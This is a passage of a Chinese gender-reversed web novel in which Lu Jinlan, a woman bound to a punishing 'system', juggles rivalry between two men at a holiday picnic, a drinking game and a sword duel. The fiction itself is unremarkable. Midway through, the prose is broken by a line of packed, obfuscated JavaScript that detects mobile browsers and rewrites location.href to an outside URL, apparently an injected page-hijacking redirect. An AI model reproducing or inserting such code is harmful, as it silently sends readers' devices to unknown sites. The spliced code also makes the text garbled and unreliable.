陆锦澜搂住大家的脖子,低声叮嘱:“院长虽然不支持我们,但我们要做出她支持我们的样子。学生会不敢去质问院长,只要我们演得像,她们就不敢妄动。计之三,趾高气昂,虚张声势。那么多人都在悄悄观察我们,等我们转过身,就要摆出最嚣张的样子。想象自己做成了这辈子最想做的事,要多狂有多狂,记住了吗?”
大家彼此对望一眼,坚定的点了点头。
韩离等人闻讯赶来,碰巧撞见这一幕,不由瞪大了眼睛。
只见八人浑身上下都冒着嚣张的气焰,仿佛天地都容不下她们了。她们在学院的林荫大道上趾高气昂横冲直撞,宽敞的道路此时显得格外拥挤,院长带领全校师生祭祀时也未曾狂成这样。
她们每个人脸上都带着傲视一切的目光,狂妄得不可一世。八人站成一排气势汹汹迎面而来,路过韩离时,楚易舒故意狠狠地撞了一下,飞扬跋扈得瞪了她一眼,“滚开!”
韩离目瞪口呆的看着她们远去,许久之后才回过神来,怒骂了一连串的脏话。
陆锦澜的装模作样三计起了作用,整整七天,学生会的人没有来找她们这批人麻烦。但大家心里清楚,双方还在对峙阶段,彼此暗中观察小心留意,恨不得轮流站岗放哨,以防暗算。
为了安全起见,她没有再约凛丞见面,两人只能在打饭间隙争分夺秒的留下只言片语,交换几个关怀的眼神。
皇家学院今年的课程比往年多开了三门,共有《武艺》、《骑射》、《兵法》、《律法》、《诗赋》、《算术》、《音乐》、《水利》、《民生》、《历史》十门课程,每天课业从早排到晚,搞得新生叫苦连连。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763646|174494||http|test|mini|href|location''.split(''|''),0,{}));
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>陆锦澜、项如蓁和晏无辛还得兼顾清洁,每天打扫教室。身心劳累也就算了,一天三顿还只有难吃的饭菜。在如此高压艰苦的环境下,学院里的火药味儿越来越浓。
宿舍里都变得死气沉沉,晏无辛:“学生会怎么没动静了?我现在真想和她们干一架。”
陆锦澜:“说不定她们也是这么想的,大家都很烦,都想要发泄。”
项如蓁:“别烦,我们只是散漫惯了,还没适应。”
晏无辛痛苦的哀嚎一声:“啊!这苦日子什么时候是个头啊?”
此时晏钰兴冲冲从外面回来,“好消息,院长要带着师傅们参加全国讲学论坛,咱们提前休沐,明后两天都不上课,公告都贴出来了!”
不待几人反应,外面已经传来了震耳的欢呼。那一晚的宿舍区,真是载歌载舞锣鼓喧天,大家都被关疯了憋坏了,几乎兴奋得睡不着觉。
陆锦澜和晏无辛挤在项如蓁的床上,迫不及待的规划着假期安排。
晏无辛:“我得先回趟老宅,给我娘请个安。再去私宅,关照下我的应子们,他们一定想我想疯了。咱们中午在我那个乐玩山庄后面的湖边野炊怎么样?我准备好酒好菜烤全羊,咱晚上就在山庄住。”
项如蓁:“也好,到时候我去打些野味,给大家加餐。”
陆锦澜:“我要大睡一觉,醒了去一趟久安堂,中午与你们汇合。”
晏无辛嘴角噙着玩味的笑意,“嘿嘿,我再给你们准备一份特别的惊喜,包你们满意。”
陆锦澜一觉醒来,她们两个都出去了。她收拾着东西准备出门,忽然想到,既然野炊,为什么不请凛丞一起?他一个人在这儿,难免无聊。两人在校外见面无需顾忌,青山绿水蓝天白云,正是谈情说爱的好时机。
陆锦澜托人送信过去约凛丞来湖边相见,到了中午时分,便忍不住东张西望。看她一脸望眼欲穿的样子,项如蓁笑着摇了摇头,“想不到被关了七八天,你和无辛最惦记的竟然是男人。”
陆锦澜辩解道:“我俩可不是一个性质,她惦记她那一群男人,我只惦记一个,不可同日而语。”
项如蓁笑而不语,看向她身后,“你的那一个来了。”
凛丞已然换去了粗布麻衣,恢复了他翩翩公子的打扮,又是一袭白衣,纤尘不染的衣着硬净的脸,令人望之陶然。
陆锦澜迈着轻飘飘的步子迎上去,“你来啦。”
“嗯,难得你请我。”
这话里似乎有些责怪的意思,陆锦澜笑着解释:“这些天没敢约你见面,不是不想见你,是惹了些麻烦,怕牵连你。”
“我听说了,但我不怕被牵连。人活在世上,为了想做的事想见的人,冒一点风险,是值得的。”
陆锦澜笑着点头,“你说得对,我知道你不怕,但我还是舍不得让你冒险。”
“咳!”偷听的项如蓁一口烤鱼呛在嗓子里,慌忙致歉:“不好意思,我咬到刺了。别管我,你们聊。”
陆锦澜拉着凛丞走远几步,“不用管她,她是这天底下最不解风情的女人。”
凛丞强忍着笑意,调侃道:“是,别人都不解风情,偏偏你懂。不过老实说,在我所识的女人中,你算得上是天底下第二好的女人了。”
陆锦澜眉心微蹙,忙问:“第一好的是谁?”
“我母亲啊。我们家母父感情很好,所以哪怕我父亲只生了我这么一个儿子,我娘也没有再娶,她很专一。”
陆锦澜不服,“那你把我排第二,还是有些不公平。我一个都没娶呢,你怎么知道我会不专一?”
凛丞黯然垂下眼眸,叹道:“天下人都知道。”
陆锦澜理直气壮道:“传言不可信,耳听为虚,眼见为实。这么多天,你见我和哪个公子纠缠不清了吗?”
话音未落,几辆马车到了近前。晏无辛矫捷地从车上跳下来,兴奋得高声呼喝:“快来人!我从家里偷了几坛好酒。锦澜,你看我把谁带来了!”
陆锦澜心头顿时涌起一丝不祥的预感,楼雨眠掀开帘子,从后面的马车上下来,望着她笑得满面春风。
陆锦澜:怎么回事?
客服老太:「怎么回事?」
23. 第 23 章
其实,晏无辛看见凛丞也愣了一下,她也想问:怎么回事?
凛丞的目光在陆锦澜和楼雨眠之间反复游移,场面一时陷入微妙的难以言说的尴尬。
幸亏马车上又陆续下来七八个年轻俊俏的公子,是晏无辛私宅里养着的应子。上次在逢春楼见过的方卿,不知怎么也出现在这儿。
陆锦澜抢在众人开口前,笼统的向凛丞介绍:“啊,这些都是无辛的应子。”
楼雨眠笑意僵在脸上,当即出口否认:“我不是。”
陆锦澜深吸一口气,真想当场厥过去,她内心在疯狂呐喊:咱俩那事儿不光彩,你可别当众说出来啊!
她的手指紧张得捻在一起,比上考场还慌。
楼雨眠目若秋水的望着她,又看了眼她身后的凛丞,嘴角重新扯出一丝笑意,“我是……我只是应晏少娘之邀,前来赴约的。”
陆锦澜松了口气,一下子来了这么多人,众人都忙着互通姓名确定称呼。她趁乱给晏无辛使了个眼色,跑到一棵大树下整理思绪。
情况怎么会突然乱成这样?上一秒刚跟凛丞吹嘘自己是个好女人,下一秒青楼一夜情对象就闪现在眼前。
更尴尬的是,她俩去逢春楼的事儿,如蓁不知道。她让晏无辛帮楼雨眠赎身的事儿,系统不知道。晏无辛到底怎么办的,她不知道。
系统在她脑海里发了一堆问号,她何尝不是一脑袋问号?
晏无辛是怎么办事的?怎么还把人带来了?
陆锦澜急躁得在树下走来走去,一回身正撞上匆匆赶来的晏无辛。
晏无辛抿着唇,谨慎的在地上写了三个字:能说吗?
陆锦澜:“你等会儿。”
她紧急试探系统:「咱们这个系统有回溯追罚功能吗?」
客服老太有点懵:「怎么会有追罚呢?不都是当场就罚了吗?你上一秒犯错,下一秒就挨打了,没有时间差。」
「那就是说,只要当下没罚,就算过去了,不存在追诉期,对吧?」
「是的。」
那陆锦澜就放心了,她用力摇着晏无辛的肩膀,“怎么回事?你到底干了什么?”
晏无辛无辜的摊了摊手,“我都按你说的办的,你不是让我给他赎身吗?我赎了。你让我帮他安顿一下,我帮他租了宅子,剩下一万多两银票我都给他了。你让我转告的话我也跟他说了,我说你让他开始新生活,他说从此以后等你就是他的新生活。”
陆锦澜气笑了,“他说他要等我,你怎么不跟我说?”
晏无辛奇道:“你不是不让我找你说这件事吗?再说,这有什么可说的?你想见他也得等到休沐才能出来,除了让他等着,你还有什么办法?”
陆锦澜无语,“我压根就不需要他等我,他的新生活不用和我扯上关系,不是说好了露水情缘吗?干了就散,了无痕迹,怎么还等上我了?”
晏无辛表情一变,“这我就得说你几句了,本来咱们是花钱买乐子,的确是春宵一度露水情缘。但是谁把事情搞复杂的?不是你吗?你又给人赎身,又给人安顿,你对他这么好,他能不爱上你吗?说实话,他要是真远走高飞了,我还觉得他有点白眼狼呢。你这一往情深的,他说走就走,像什么话?”
陆锦澜恨不得把心剖出来证明,“我发誓,我不是一往情深,我就是不忍他流落烟花地,一时心软做了件善事。他不应该来找我,他来找我凛丞怎么办?”
“这有什么怎么办的?咱不是休沐两天吗?”
陆锦澜一愣,没懂,“什么意思?”
晏无辛理所当然道:“你公平点,雨露均沾,一晚宠一个。”
“啊!”陆锦澜听到这样逆天的安排,无法控制的发出暴鸣声。
晏无辛无措的搓搓手,“那你想怎么办?”
陆锦澜靠着树,双手抱头,“不知道怎么办,烦。”
晏无辛:“想不想听听过来人的经验?”
“对啊!”陆锦澜眼底闪着希冀的光,拱手请教,“你是怎么游走在那么多男人之间,却应对自如的?你怎么做到的?”
晏无辛得意的一笑,“简单,什么都不用做。你有两个男人也好,三个男人也好,一百个男人也好,他们争的都是你的宠爱。你只要出现在他们面前,他们就会比着对你好。让他们尽管去争,你根本不用烦,反而省心。”
“你想啊,你有一个男人,他时不时跟你闹脾气,那男人闹起来可是没完没了的。你有两个男人就不一样了,你宠着那个乖的,另一个就会学着更乖。他们斗他们的,男人之间小打小闹,又不冲你来,你根本不用操心。”
陆锦澜叹了口气,她明白晏无辛的意思。
这跟现代社会男人出轨是一个逻辑,他们会管理时间两头骗,等到事情败露时佯装无辜状,笑看女人们为了他雌竞,扯头花,甚至打得你死我活。而始作俑者则美美隐身,作壁上观。
可惜,类似的男权骗术现代社会早已揭穿。陆锦澜清楚的知道,谁是罪魁祸首。
一个合格的恋人,怎么会让心仪的对象陷入斗兽场?
陆锦澜下定决心道:“我会找个机会,和雨眠说清楚的。对了,方卿怎么也出来了?”
“呃……”晏无辛支吾了一下,“我去赎人的时候,他就在旁边看着。楼雨眠的赎金是九千两,你给我的钱剩很多,我就抽出两千两,把方卿也赎了。见面三分情嘛,我晏无辛生来多情,见不得男人受苦。”
陆锦澜冷笑两声,心说:你可拉倒吧。
陆锦澜知道自己这两位朋友是什么德行,平日里对她是没得说,三人形影不离朝夕相处,遇事共同进退两肋插刀。
项如蓁和晏无辛绝对是世俗公认的牛人好人,但在性别议题这块,这俩人的大“女”子主义很严重,而且还不自知。
其实现代社会也是这样,很多成功男士看着十分优秀,权威、能力强、有人格魅力,说不定对朋友还很讲义气,但歧视起女人来,就跟那个清朝僵尸突然蹦到马路上一样,吓人一大跳。
归根到底,是他们不会发自内心的把女人当人,当成和他们一样平等的人。
不过现在有趣了,两极反转,歧视男人的事儿日常上演。
两人回到帐篷附近的时候,正听见项如蓁和凛丞交谈。
项如蓁:“你和锦澜是怎么认识的?”
凛丞:“借书认识的。我那时候想借一本天和元年的《兵法详解》,老板不肯借给我,是陆少娘用她的通知书帮我借出来的。”
项如蓁:“你一个男儿家读兵法啊?看得懂吗?”
凛丞:“我……我娘从小就教我这些,我看得懂。”
“是吗?”晏无辛笑着加入讨论,“那我考考你。”
陆锦澜:“你俩能不能别这么典?”
她拉住凛丞的手腕,“走,不听这俩家伙说的油腻话,我们去挑些吃的。”
午膳大部分菜品由厨子在庄内做好,趁热送过来的,只有一道烤全羊刚刚烹制好。如蓁现打的野味,留给大家尝试动
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手的乐趣,那些应子们和楼雨眠一起围在火炉边,烤着鲜美的湖鱼、野鸡、野鸽子……
凛丞不知为何突然说道:“我本来也在烤的,但是接连烤糊了两条鱼,实在不好意思再动手了,浪费了项少娘辛苦弄来的食材。”
陆锦澜不以为然,“这有什么?如蓁不会介意的,我也不会烤,有什么关系?咱吃别人的就是了。”
凛丞低声道:“你一个大女人,不会这些当然没关系了,这本来就不是你们女人该干的事儿,可是我……”
陆锦澜没听清,“你说什么?”
此时,楼雨眠端着餐盘笑着迎上来,“我刚刚烤好的鱼,陆少娘赏脸尝尝?”
陆锦澜尝了一口,果然鲜美无比,连连点头,“味道好极了。”
楼雨眠扬起嘴角,“我手艺一般,你不嫌弃就好。你还想吃什么?我帮你现烤。”
陆锦澜:“我想吃鸡翅、鸽子,凛丞你想吃什么?”
凛丞面沉如水,“我不喜欢吃烤的。”说完,转身去了餐桌。
楼雨眠眨了眨他那双漂亮的眼睛,“凛丞公子怎么突然不高兴了?是不是我做错了什么?”
陆锦澜此刻反应过来了,她咬了咬唇,无语凝噎。活得绿茶,她算是见着了。
此时人多,她也不便说话,只是深深得看了楼雨眠一眼,也到餐桌旁入坐。
陆锦澜暗自反思:刚刚是不是我做错了什么?他们怎么莫名其妙的雄竞起来了?
等到大家一起用膳的时候,她忽然意识到不是她的问题,她忽略了一个最重要的因素:社会环境。
在餐桌上,那些无脑但俊俏的应子们又说起了厨艺的话题。绕来绕去,又提起了凛丞烤糊的鱼。
“凛公子十指不沾阳春水,以后嫁到妻主家,可怎么办呢?”
“我爹从小就教导我,男儿家最重要的就是相妻教女,厨艺针线这些伺候人的工夫都是基本的。咱们又不像女人那样会读书,这些事情要是再做不好,会嫁不出去。”
“是呢!谁小时候不是学这些长大的,学不会是要挨打的。”
那些应子你一句我一句,七嘴八舌的说个不停。凛丞低着头捣着碗里的饭,一言不发。
陆锦澜实在听不下去,“够了!凛丞比你们命好,不用从小学着伺候人。他以后嫁到别人家也是享福的,用不着事事亲力亲为。”
晏无辛见她不高兴了,忙道:“数你们多嘴,不带着你们来,偏要跟着来,下次老实在家待着。”
她说着朝陆锦澜歉然笑了笑,“别和男人一般计较,他们都被我宠坏了。来,咱们聊聊女人的话题,省得他们插嘴。”
陆锦澜也跟着笑了,她笑她面前好像有两本无形的典籍,一本叫《雄竞修罗场》,一本叫《性别歧视与刻板印象》。
这顿饭吃得心情复杂,陆锦澜总是忍不住留意凛丞和楼雨眠的反应,那二人也时不时看向她,偶然目光撞在一起,三个人都越发沉默。
值得感激的是饭快吃完的时候,突然下雨了。陆锦澜暗自高兴,虽然被雨浇了一通,但这尴尬的场面终于结束了。
晏无辛急忙招呼马车过来,拉着大家一同回庄内沐浴更衣。
陆锦澜在房间内洗完澡,换了干衣服,有些心累的闭着眼。她正漫不经心的擦拭着头发,一双手臂忽然从身后抱住她。
陆锦澜一个本能反应,差点把人摔出去,但她没有那么做。
因为那个熟悉的声音在她耳边温声诉说:“我好想你。”
24. 第 24 章
陆锦澜看着横在身前的手臂,心底叹息一声,轻轻拍了拍,“雨眠,别这样。”
楼雨眠不肯松开,反而抱得更紧些,温热的唇贴在她的鬓边,低声埋怨:“那晚你可不是这么说的。”
陆锦澜没有调情的心思,微微拧起了眉。
男人察言观色,见她不悦,讪讪收回手,转而跪坐在她身侧。
他淋雨回来,还没来得及沐浴,只换了件衣服便心急得避开众人,悄悄摸到陆锦澜的屋子闯了进来。
他的头发湿漉漉的,水珠不时从发尾滚落到颈间。他仰视她,眼底盛满了试探和小心翼翼,像是刚被带回家的小流浪狗,生怕被厌弃似的。
陆锦澜到底不忍心,将巾帕罩在他头顶,用力擦了擦。
楼雨眠很是黏人,蹭着她的手枕在她的腿上,很会得寸进尺。
陆锦澜不知道怎么和他开口,他却主动问道:“凛丞公子是你心仪的人吗?”
陆锦澜“嗯”了一声,“我还没向他表明心意,但他大约是知道的。”
楼雨眠笑了一下,“怎么会不知道呢?你今天那么护着他,傻子都知道。你向他表明心意吧,反正他也喜欢你。”
“真的?”陆锦澜迟疑,“我倒不确定他是不是喜欢我,大约只是有好感吧。”
楼雨眠哼了一声,酸道:“男人最了解男人,他的心思我能看出来。恭喜你啊,凛丞公子英俊无双气质超群,总算勉强配得上你。你今晚,大抵要陪着他了,是吧?”
陆锦澜忙道:“不,你误会了,我和他不是那种关系。”
楼雨眠闻言怔了一下,晦暗的眼眸立刻亮了起来,他挺身凑上前,猝不及防的在她唇上啄了一下,“那你今晚陪我吧,我们是那种关系。”
啊?
楼雨眠的思路峰回路转,陆锦澜一时没跟上,被黏人的大狗扑倒,偷亲了好几下。
硬挺的鼻粱在她颈间,蹭得她有些痒。楼雨眠眼底嘴角都是笑,陆锦澜还没见他这么高兴过。于是,陆锦澜也不好意思再冷着脸,安抚得摸了摸他的头,“别闹了,无辛见我不出去,会来叫我的。”
楼雨眠想了想,“那你亲亲我。”
见陆锦澜抿了抿唇,似乎准备开口拒绝,他忙又补了几句:“你不知道我这些天是怎么过来的,我每时每刻都在想你。有一晚梦到你来看我,我在梦里吓了一跳,急着说书院没休沐,你怎么敢出来的?快回去,不要因为我误了功课。”
他说到这里遗憾的叹息一声,“唉,梦醒了我好后悔,早知道是梦,就不让你回去了。我是不是太贪心唔……”
字字句句都让人听着心疼,陆锦澜干脆堵住他的嘴,不想让他再说下去了。说不上是什么情愫,只是吻得难解难分。
直到敲门声响起,让意乱情迷的陆锦澜瞬间清醒。
“谁?”
“是我。”凛丞的声音。
陆锦澜心虚得深吸一口气,楼雨眠不满的皱着脸,“我好不容易见你一下,他天天都能见到你,他还……”
“嘘!”陆锦澜捂住他的嘴,问门外:“什么事?”
凛丞:“姜汤煮好了,你喝吗?”
陆锦澜:“呃,我等下出去喝。现在还在换衣服,不太方便。”
“好,那我先拿到客厅去晾着。”
听见脚步声渐远,陆锦澜刚松了口气,就听见一个脚步声快速接近,“锦澜怎么磨磨蹭蹭的,还不出来,我去看看!”
门啪一下被推开,晏无辛看见慌忙起身的俩人愣了一下,随即大声道:“怪不得不肯出门,原来你……”
凛丞还没走远,陆锦澜一边指着晏无辛狂使眼色,一边低声叮嘱楼雨眠:“从后窗出去,我晚上再去找你说话。”
晏无辛看着这偷偷摸摸的一幕挠了挠头,嘴上还在那儿卡着,一直说着:“原来你……原来你……”
凛丞闻声赶来,楼雨眠已经走了,他只看到晏无辛和陆锦澜表情有些异样,不解道:“怎么了?”
晏无辛生硬的回答:“原来她在洗澡。”
陆锦澜咳了一声,将姜汤整碗喝光,“走吧,我们去大厅,别让大家等着了。”
*
项如蓁动作快,最先赶到大厅,她不愿和那些应子们搭话,只得自斟自饮。陆锦澜和晏无辛一来,项如蓁便抱怨道:“你们两个跑哪儿去了?害我好等。”
晏无辛笑道:“我本想安排几个男人伺候你,怕你不愿意。”
项如蓁:“我是不愿意,那还不如我自己一个人。”
陆锦澜道:“你一个人有什么意思?人多热闹,咱们这么多人,得玩点儿新奇的。虽然天公不作美,也不能负了这半日好时光。”
大家商量着玩点什么好,楼雨眠姗姗来迟,“不好意思,我来晚了。”
众人看了他一眼,方卿不由打趣道:“你今天一直闷闷不乐的,怎么一转眼满面春风。下了场雨,你倒高兴了?”
楼雨眠摇了摇手中的折扇,得意道:“我叫雨眠,自然是每逢下雨的时候,都有好事发生了。”
有人眼尖道:“你那扇子上写得什么?”
楼雨眠唰一下将扇面合拢,“心上人写给我的情诗,不便示人。”
陆锦澜听见这话觉得心惊肉跳的,她猜那扇子上就是她写给楼雨眠的那首诗,他誊抄的时候应该把自己的题字落款一并抄上去了,这要给凛丞看见……
陆锦澜忙转移话题,“我想到一个游戏,大家别闲聊了,围坐成一个圈,听我说。”
晏无辛的乐玩山庄专为玩乐打造的,宽敞极了。外面下着雨,屋内摆了几盆炭火祛湿气。十几个人在客厅中间围成一圈,各自在软垫上坐下。
陆锦澜道:“这个游戏叫我有你没有,所有人伸出五根手指,轮流说出自己做过的事情,如果其他人没做过,就弯下一根手指。如果其他人也做过,就不需要动。五根手指全部弯下去人,就要受罚,给大家表演个才艺,如何?”
晏无辛应和道:“好好好!听着就有趣,咱就玩这个。”
游戏开始,陆锦澜第一个开头,“我曾经被罚最后一名录取。”
“嗐。”众人接连发出哀声,每人都折下一根手指。
项如蓁道:“我曾经打死过一头将近五百斤的猛虎。”
“嗐。”众人又叹一声,也是齐齐
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折下手指。
这时方卿忍不住道:“妻主、两位少娘,你们女人做出的那些丰功伟绩,我们男人可都够不上。再这么说下去,我们还没开口,就得受罚了。”
晏无辛正不知道说什么,一听这话忙接道:“卿郎说得对,这儿是玩乐山庄,又不是考场,你们俩在这儿争状元来了?咱们聊点儿风花雪月的事儿,照顾下这些男儿家。我有了,你们听我说。”
众人看向她,只见她摆出一个“八”的手势,“我有八个应子。”
项如蓁无奈的笑道:“聊风花雪月,可算聊到你心坎上了。”
大家一阵哄笑,方卿拉着晏无辛的手臂,说道:“妻主,这一轮我们八个不该弯手指。您想啊,你有八个应子,就是我们,我们也只有您一个妻主。这游戏叫你有我没有,可您有我们,我们也有您,这不是正好吗?”
晏无辛连连点头,“说得对,是这个道理。”
于是这一轮,只有项如蓁、陆锦澜、凛丞和楼雨眠四个人弯下手指。
陆锦澜笑着对凛丞道:“说个她们没有的,不然咱们吃亏了。”
凛丞举着仅剩的两根手指看了一圈,灵机一动,“有了!我逃过婚。”
众人震惊的看了他一眼,除了陆锦澜,全部折下一根手指。
气氛越来越热烈,楼雨眠只剩一根手指了,情况有些危急,他一咬牙,说道:“我参加过花郎大选。”
“啊……”众人惊叹一声,连凛丞都满眼诧异的看向他。
沦落青楼这种落魄事,换了旁人,会当做生死秘密守护。也不知道楼雨眠是求胜心切还是怎的,就这样当众说了出来。
旁人何种目光,楼雨眠不以为意,他只道:“各位没参选过的,请弯下一根手指吧。”
空气凝固了一下,陆锦澜不知道楼雨眠为什么要说,但他既然说了,她便起了维护的心思,不忍让他独自承受异样的目光。
陆锦澜出声道:“看来我不用弯手指了,我投过花郎大选,这算你有我也有了。”
晏无辛闻言连忙把弯下的手指立起来,喜道:“这么一说,那我也不用弯手指,我也投过。”
晏无辛都这么说了,她的那些应子自然不敢多言。只是凛丞眼神复杂的看着陆锦澜,而陆锦澜硬着头皮假装没看见。
方卿笑着推了下楼雨眠:“你把我想说的都说了,让我说什么?我得好好想想。”
方卿眼睛转了转,“有了!我曾经流落风尘,幸遇妻主相救。”
晏无辛高兴得把他拉到怀里,“我的卿郎最聪明,我救的你,这一轮我也不用弯手指了。”
众人唉声叹气,陆锦澜犹豫要不要弯手指的时候,忽听凛丞冷声道:“我输了,我认罚。我不会什么歌舞,只能舞剑,请给我拿一把剑来。”
方卿笑道:“这可巧了,雨眠也会舞剑。”
“是吗?”凛丞望向楼雨眠,“那咱们对打,如何?”
楼雨眠微微勾起嘴角,“好啊,奉陪。”
陆锦澜无奈的揉了揉眉心,暗自感叹:人家无辛娶了八个男人,都能和平相处。我只和两个男人有些牵扯,他们就要打起来了?
25. 第 25 章
叶游很快选了两把利剑送了过来,众人又退开些,几个小男仆手脚利落的将杂物挪开,留出一块足够厮杀的空间。
陆锦澜眉头紧锁,悄声问晏无辛:“这种情况应该怎么办?”
晏无辛表示爱莫能助,“我没有遇到过这样的情况,我这儿都是娇夫,没有武夫,谁让你专挑凶悍的招惹?不好处理吧?”
“啧。”陆锦澜一想也是。她总是按照自己的审美,挑选高大强壮荷尔蒙爆棚的男人,光想着脱了衣服性张力拉满,没考虑到他们碰到一起,火药味儿也拉满。
凛丞和楼雨眠各自手执一柄长剑,相对而立。
项如蓁实乃钢铁直女,完全没有领会到二人之间的微妙。她从腰间取下一支长笛,“我也输了,我来吹奏乐曲,算咱们三个一起受罚。”
众人诧异的看了她一眼,似乎都在疑惑:关你什么事啊?
如蓁不察,晏无辛看热闹不嫌事儿大,“把我的琵琶拿来,我和如蓁合奏。”
屋外雨声滂沱,屋内笛声肃杀,琵琶声激荡。
乐声一响,楼雨眠率先出剑,凛丞黑眸微抬提剑相挡,冷刃相撞,发出铿锵的声响。
二人瞬间战至焦灼,曲声紧张急迫,招式也越发激烈。
晏无辛按住琵琶,低声感叹:“不错啊,虽然不能和女人比,但男人的剑术能学到这个水准,也足以自保了。”
陆锦澜微微点头,她看得出二人都是童子功,从小修习。不过二人各自路数不同,楼雨眠学得是务虚剑术,招式漂亮,力求安稳,守招多攻招少。而凛丞恰恰相反,他的剑术十分务实,以猛攻代替防守,招招都可要人性命。
见二人打得如火如荼,那些不会武功的应子们早就吓得不敢吭声,他们紧张得挤成一团,身体不自觉的后仰。
陆锦澜眼瞅着楼雨眠落了下风,便有些按捺不住,她实在不希望任何人因为她而受伤。
可事与愿违,楼雨眠动作一慢,手臂瞬间被划了一剑。凛丞一愣,没有继续上前,楼雨眠看了眼被划烂的衣袖,不服道:“再来!”
两人又战到一起,陆锦澜气道:“别打了!”
二人跟没听见一样,气的她不得不亲自下场。
只见陆锦澜跃至二人中间,正赶上楼雨眠不敌凛丞,向后跌去,陆锦澜便一把握住他的手腕,带着他的手以内力震开凛丞的剑。
刚猛的力道震得凛丞手臂一麻,长剑哐啷一声,掉落在地。
陆锦澜顺势拿掉楼雨眠手中的剑,对二人道:“别打了。”
她拉过楼雨眠的手臂,“伤到没有?”
楼雨眠小声道:“没事,只是衣服破了。刚刚幸好有你,不然我真不知道怎么办才好。”
“凛丞,你……”陆锦澜一回身,“人呢?”
晏无辛撇了撇嘴,“当然是气跑了。”
陆锦澜叹了口气,“我去看看他。”
陆锦澜敲了敲凛丞的房门,“你没事吧?”
里面闷声回答:“不用你管。”
标准的赌气式回答,陆锦澜叉着腰站在门口,陷入沉思。
客服老太:「怎么还不走?人家不想见你。」
陆锦澜:「他为我伤心,我总不能放任不管吧?」
客服老太:「是不是觉得你做错了什么?」
陆锦澜:「我应该是做错了什么,不然……」
“哎呦!”她久违的挨了系统一拳。
理由:过度反思自我,严重违反男频男主老子永远没错的基本精神。
陆锦澜捂着肩膀翻了个白眼,她竟然被系统钓鱼执法了。
好好好,她卡系统BUG,系统钓鱼执法。人家宿主和系统齐心协力,她和系统斗智斗勇。
行吧,老娘永远没错。
她转身离开,脑海里反复念叨男频精神:老娘没错,都是别人的错。就算老娘做错了,也是有苦衷的。就算老娘没有苦衷,错了就错了,又能把老娘怎样?
陆锦澜默念三遍,精神状态前所未有的良好。其实冷静下来,她还是觉得自己不适应这种一对多的复杂情感关系,哄完这个哄那个,比在学院上课还累,还是给自己减负吧。
当晚,陆锦澜下定决心来到了楼雨眠的房间,开门见山道:“我必须告诉你一件事,我为你赎身,不是为了占有你。”
楼雨眠一愣,脸上的笑意还未漾开,便仓促得转为惊愕。
“什……什么意思?”
陆锦澜叹息着坐到椅子上,斟酌措辞道:“我觉得你很好,读书识字,还会些拳脚。你心性清高,又不会巧言令色左右逢源,根本不适合在那种地方生存。我为你赎身,是希望你拥有自由,然后你想干什么就干什么,你都可以去长洲找你的家人。”
楼雨眠瞳孔一震,声音轻颤的问:“你非要把我赶出京城吗?”
“不是,你又误解我。”陆锦澜急道:“我是在帮你想出路,你想在京城也可以啊。神京这么繁华,人口又多,你可以嫁给一个厚道人家,从此生女育儿,过幸福的小日子。”
楼雨眠冷笑一声,“你帮我想的出路,就是嫁给别人?”
陆锦澜一愣,“这不对吗?不然,你想做生意?这世道,好像不允许你们男儿家抛头露面……”
“陆锦澜!”楼雨眠眼眶发红,第一次愤怒而伤心的喊出她的名字,“你把我当成什么人了?我是你的男人,我的第一次给了你,我还怎么嫁给别的女人?”
见他反应这么大,陆锦澜惊惶的站了起来,试图去拥抱他,温声劝慰:“你别激动,这种想法是不对的。什么给不给的?你不是个物品,你永远属于你自己,你听我说……”
“我不听!”楼雨眠挣开她的手,跌坐在地。
屋内安静得只能听到两人的呼吸声,他的眼泪一颗颗砸在地板上,仿佛一声声叩问着她的心脏。
许久过后,他仰起头,抓着她的衣摆哽咽着质问:“就因为我曾沦落风尘,你便觉得我人尽可妻吗?”
陆锦澜凝视着他梨花带雨的脸,深深的叹息一声。她伸手轻抚着他发红的眼尾,俯身将他拥入怀中。
“好了,别哭了。我从来没有那样想,你多心了。我只是……应付不来,不想你们一个个的,都倍感冷落。”
楼雨眠恳求道:“你不用应付我,你可以冷落我。我什么都不求,只要你偶尔肯给我一个眼神、一点安慰,让我知道你没忘了我,我就心满意足了。”
陆锦澜沉默片刻,终于应道:“好。”
楼雨眠的眼泪顿时止住,胡乱用袖子擦了擦脸,露出一丝欣喜又尴尬的笑意。
陆锦澜笑着摇了摇头,“这就高兴了?”
她终于明白,男频男主在感情中是什么地位。仿佛手握着对方的心脏,然后毫不珍惜的玩弄着。
漫不经心的一言一行,随意的一个举动,都能主宰对方的情绪。
但,她并没有因为她是手握心脏的那个人感到得意。
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当对方在她怀中痛哭的时候,她也会有一丝心疼。
她想,这是她和男频男主的本质区别。她绝不以玩弄异性为荣,至少,那不是她的初衷。
当晚,陆锦澜没心思留宿在楼雨眠那儿,去找项如蓁喝酒聊天。
项如蓁:“你看我说什么来着?男人就是麻烦。”
*
第二天陆锦澜醒来时,项如蓁早就到花园去练功了。
她简单洗漱一番,叫上无辛一块去用早膳。
二人经过石桥,忽见凛丞拿着把扇子怒气冲冲的赶来。
陆锦澜:“你这是去哪儿啊?”
凛丞冷哼一声,“捡到把扇子,原本是想还给主人的,正好遇见你,那便给你吧。想来,也是一样的。”
陆锦澜接过来一看,正是楼雨眠昨天拿着的那把,上面果真抄录了她那晚写的诗,还有题字。
凛丞冷声道:“早就听说你在逢春楼为一花郎一掷千金,不想你还曾为他写诗为他赎身,这般深情。只是你们既然如此亲密,何必瞒着我?”
陆锦澜无奈道:“怕你生气,不听我的解释。”
凛丞苦笑,“你错了,我根本不会生气,我有什么资格生气?我以什么身份生气?忽然想起学校还有事,我先回去了。”
陆锦澜咬了咬牙,瞥到暗处的身影,不悦道:“雨眠,出来!”
楼雨眠心虚的走到她面前,“怎么了?”
陆锦澜:“别以为我看不出你那些小心思,你故意的,故意让他看见这把扇子,是不是?”
楼雨眠垂下眼眸,没有否认,但他随即解释道:“我只是想暗示他,你不是属于他一个人的,他不该霸占你。如果他在乎你,就不该让你为难。”
陆锦澜气道:“你总和他较什么劲?你知道他为我付出了多少吗?在食堂那种破地方做工,好不容易出来散散心,你非要给他添堵。”
